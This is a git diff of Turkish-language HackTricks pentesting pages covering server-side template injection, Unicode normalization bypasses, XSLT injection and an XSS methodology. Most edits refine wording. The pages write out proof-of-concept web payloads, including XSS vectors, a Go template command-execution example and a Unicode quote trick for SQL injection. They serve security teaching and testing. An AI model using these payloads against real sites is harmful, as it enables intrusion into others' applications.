||||
### JsRender (NodeJS)
|
||||
|
||||
| **Şablon** | **Açıklama** |
|
||||
|------------|---------------------------------------|
|
||||
| | Çıktıyı değerlendirin ve render edin |
|
||||
| | HTML kodlu çıktıyı değerlendirin ve render edin |
|
||||
| | HTML kodlanmış çıktıyı değerlendirin ve render edin |
|
||||
| | Yorum |
|
||||
| ve | Koda izin ver (varsayılan olarak devre dışı) |
|
||||
|
||||
@ -780,7 +775,7 @@ range.constructor(
|
||||
|
||||
### Python
|
||||
|
||||
**Kumanda geçişlerini atlama** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
Python'da **keyfi komut yürütme sandboxes'ını atlama** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -876,7 +871,7 @@ range.constructor(
|
||||
jinja2-ssti.md
|
||||
{{#endref}}
|
||||
|
||||
Diğer yükler için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
Diğer payloadlar için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
||||
### Mako (Python)
|
||||
```python
|
||||
@ -900,10 +895,10 @@ ${x}
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
- `@(2+2) <= Başarılı`
|
||||
- `@() <= Başarılı`
|
||||
- `@("{{code}}") <= Başarılı`
|
||||
- `@ <=Başarılı`
|
||||
- `@(2+2) <= Başarı`
|
||||
- `@() <= Başarı`
|
||||
- `@("{{code}}") <= Başarı`
|
||||
- `@ <=Başarı`
|
||||
- `@{} <= HATA!`
|
||||
- `@{ <= HATA!`
|
||||
- `@(1+2)`
|
||||
@ -945,9 +940,9 @@ Perl olmasına rağmen Ruby'deki ERB gibi etiketler kullanır.
|
||||
|
||||
Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir:
|
||||
|
||||
- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçilirse, `{{ .Password }}` bunu açığa çıkarabilir.
|
||||
- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçirilirse, `{{ .Password }}` bunu açığa çıkarabilir.
|
||||
- `{{printf "%s" "ssti" }}`: "ssti" dizesini göstermesi beklenir.
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "html" veya "js" eklemeden "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde [burada](https://golang.org/pkg/text/template) incelenebilir.
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "ssti" döndürmeli, "html" veya "js" eklememelidir. Daha fazla yönerge Go belgelerinde [burada](https://golang.org/pkg/text/template) incelenebilir.
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -959,7 +954,7 @@ vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ( “call” değeri kullanılarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur.
|
||||
RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir kamu fonksiyonunu doğrudan çağırmaya izin verir ( “call” değeri kullanarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur.
|
||||
|
||||
Go'da SSTI aracılığıyla RCE için, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesne komutları yürüten bir `System` yöntemine sahipse, `{{ .System "ls" }}` gibi istismar edilebilir. Bunu istismar etmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi:
|
||||
```go
|
||||
@ -997,7 +992,9 @@ Faydalı olabileceğini düşünüyorsanız, okuyun:
|
||||
|
||||
## Brute-Force Tespit Listesi
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Pratik & Referanslar
|
||||
|
||||
|
@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla ayrıntı için göz atın (görüntüler oradan alınmıştır).
|
||||
**Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla ayrıntı için kontrol edin (görüntüler oradan alınmıştır).
|
||||
|
||||
## Unicode ve Normalizasyonu Anlamak
|
||||
|
||||
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standart hale getirilmesini sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle başa çıkmak için kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar:
|
||||
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle başa çıkmak için kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliğini tanımlar:
|
||||
|
||||
1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahiplerse kanonik olarak eşdeğer kabul edilir.
|
||||
2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir.
|
||||
1. **Kanonik Eşdeğerlik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahiplerse kanonik olarak eşdeğer kabul edilir.
|
||||
2. **Uyumluluk Eşdeğerliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlik biçimidir.
|
||||
|
||||
**Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz.
|
||||
|
||||
@ -21,7 +21,7 @@ Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasınd
|
||||
- **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt ile temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar.
|
||||
- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak ve diğer karakterler için dört bayta kadar temsil edildiği yaygın bir kodlama standardıdır.
|
||||
- **Veri İşleme**: Veri işleyen sistemlerin, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olması gerekir.
|
||||
- **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
|
||||
- **UTF Varyantları**: UTF-8'in yanı sıra, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
|
||||
|
||||
Unicode'un karmaşıklığı ve çeşitli kodlama yöntemlerinden kaynaklanan potansiyel sorunları etkili bir şekilde ele almak ve hafifletmek için bu kavramları anlamak çok önemlidir.
|
||||
|
||||
@ -43,7 +43,7 @@ Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D
|
||||
|
||||
Kullanıcı girdisi ile SQL sorguları oluşturmak için `'` karakterini kullanan bir web sayfasını hayal edin. Bu web, bir güvenlik önlemi olarak, kullanıcı girdisinden **`'`** karakterinin tüm örneklerini **silmekte**, ancak **bu silme işleminden sonra** ve **sorgunun oluşturulmasından önce**, kullanıcının girdisini **Unicode** kullanarak **normalleştirmektedir**.
|
||||
|
||||
Bu durumda, kötü niyetli bir kullanıcı, `' (0x27)` karakterine eşdeğer farklı bir Unicode karakteri olan `%ef%bc%87` ekleyebilir; girdi normalleştirildiğinde, bir tek tırnak oluşturulur ve bir **SQLInjection zafiyeti** ortaya çıkar:
|
||||
Bu durumda, kötü niyetli bir kullanıcı, `' (0x27)` karakterine eşdeğer farklı bir Unicode karakteri olan `%ef%bc%87` ekleyebilir; girdinin normalleştirilmesi sırasında bir tek tırnak oluşturulur ve bir **SQLInjection zafiyeti** ortaya çıkar:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -75,7 +75,9 @@ Bu durumda, kötü niyetli bir kullanıcı, `' (0x27)` karakterine eşdeğer far
|
||||
```
|
||||
#### sqlmap şablonu
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
{{#endref}}
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
@ -83,15 +85,15 @@ Web uygulamasını kandırmak ve bir XSS istismar etmek için aşağıdaki karak
|
||||
|
||||
 (2).png>)
|
||||
|
||||
Örneğin, önerilen ilk Unicode karakterinin `%e2%89%ae` veya `%u226e` olarak gönderilebileceğini unutmayın.
|
||||
Örneğin, önerilen ilk Unicode karakteri şu şekilde gönderilebilir: `%e2%89%ae` veya `%u226e`
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması ama **kullanıldığı yer için** **değil** olması mümkün olabilir. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir.
|
||||
Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması mümkün, ancak **kullanıldığı yer için** **değil**. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir.
|
||||
|
||||
Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse/) bakın.
|
||||
Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiyi**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -344,7 +344,7 @@ xmlns:php="http://php.net/xsl" >
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Kodları PDF'deki diğer çerçevelerle çalıştırma
|
||||
Kodları PDF'de diğer çerçeveler kullanarak çalıştırma
|
||||
|
||||
### **Daha Fazla Dil**
|
||||
|
||||
@ -367,16 +367,16 @@ version="1.0">
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
(Örnek [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
|
||||
|
||||
## Daha Fazla Payload
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) kontrol edin
|
||||
- [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) kontrol edin
|
||||
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
|
||||
## **Brute-Force Tespit Listesi**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
{{#endref}}
|
||||
|
||||
## **Referanslar**
|
||||
|
||||
|
@ -1,29 +1,29 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
## Methodoloji
|
||||
## Methodology
|
||||
|
||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
|
||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp** kullanılmadığını kontrol edin.
|
||||
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
|
||||
3. Eğer **yansıtılmışsa**:
|
||||
3. Eğer **yansıtılmışsa**
|
||||
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
|
||||
1. **Ham HTML'de**:
|
||||
1. Yeni HTML etiketleri oluşturabilir misiniz?
|
||||
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
|
||||
2. `javascript:` protokolünü destekleyen olaylar veya öznitelikler kullanabilir misiniz?
|
||||
3. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
|
||||
2. **HTML etiketinin içinde**:
|
||||
1. Ham HTML bağlamına çıkabilir misiniz?
|
||||
2. JS kodunu yürütmek için yeni olaylar/nitelikler oluşturabilir misiniz?
|
||||
3. Sıkıştığınız niteliğin JS yürütmesini destekleyip desteklemediği?
|
||||
2. JS kodunu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
|
||||
3. Sıkıştığınız öznitelik JS yürütmesini destekliyor mu?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
3. **JavaScript kodunun içinde**:
|
||||
1. `<script>` etiketini kaçırabilir misiniz?
|
||||
2. Dizeyi kaçırabilir ve farklı JS kodu yürütebilir misiniz?
|
||||
2. Dizeyi kaçırıp farklı JS kodu çalıştırabilir misiniz?
|
||||
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. Javascript **fonksiyonu** **yürütülüyor**:
|
||||
1. Yürütülecek fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
|
||||
4. Javascript **fonksiyonu** **çalıştırılıyor**:
|
||||
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
|
||||
4. Eğer **kullanılıyorsa**:
|
||||
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
|
||||
|
||||
@ -43,23 +43,23 @@ Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfa
|
||||
|
||||
## Bağlamlar
|
||||
|
||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı şekillerde keyfi JS kodu yürütebilirsiniz.
|
||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı şekillerde keyfi JS kodu çalıştırabileceksiniz.
|
||||
|
||||
### Ham HTML
|
||||
|
||||
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu yürütmek için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
|
||||
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
|
||||
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
|
||||
|
||||
### HTML etiketinin niteliği içinde
|
||||
### HTML etiketinin özniteliği içinde
|
||||
|
||||
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
|
||||
Eğer girdiniz bir etiketin özniteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
|
||||
|
||||
1. **Nitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu yürüten bir olay oluşturabilirsiniz**: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod yürütmesini sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada keyfi kod yürütmek için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
1. **Öznitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **öznitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **öznitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi öznitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` özniteliğidir; burada keyfi kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS yürütme örneği:
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -69,13 +69,13 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS yürütme örneği:
|
||||
|
||||
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
|
||||
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini ayrıştırması** ve ardından içeriği işlemesi nedeniyle çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi ve bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadelerini** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode kodlama** geçerli **javascript kodu** yazmak için çalışır:
|
||||
- Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode kodlama** **geçerli javascript kodu** yazmak için çalışır:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -114,7 +114,7 @@ parentElement
|
||||
```
|
||||
Javascript fonksiyonlarını doğrudan **tetiklemeyi** de deneyebilirsiniz: `obj.sales.delOrders`.
|
||||
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** sunacaktır.
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
|
||||
|
||||
Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
|
||||
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu çalıştırmak için istismar edebilir.
|
||||
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu çalıştırmak için istismar edebilir.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Evrensel XSS**
|
||||
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** gerçekleşir. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** gibi durumlar için de istismar edilebilir.\
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** okumak ve daha fazlası için istismar edilebilir.\
|
||||
Bazı **örnekler**:
|
||||
|
||||
{{#ref}}
|
||||
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Ham HTML içinde enjekte etme
|
||||
|
||||
Girdiğiniz değer **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
|
||||
Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\
|
||||
&#xNAN;_**Not: Bir HTML yorumu, \*\*\*\*\*\*** \***\*`-->`\*\*** \***\* veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._
|
||||
Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
|
||||
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
|
||||
&#xNAN;_**Not: Bir HTML yorumu, \*\*\*\*\*\*** \***\*`-->`\*\*** \***\*veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._
|
||||
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
|
||||
```html
|
||||
@ -161,22 +161,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ancak, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
|
||||
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bağlamı nasıl saldırıya uğratabileceğinizi görmek için bulunan geçerli etiketler içindeki **özellikleri/olayları brute-force** etmeniz gerekecek.
|
||||
Ancak, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri **oluşturabileceğinizi brute-force** etmeniz gerekecek.\
|
||||
Hangi etiketlerin izin verildiğini **bulduktan sonra**, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içindeki **özellikleri/olayları brute-force** etmeniz gerekecek.
|
||||
|
||||
### Etiketler/Olaylar brute-force
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
|
||||
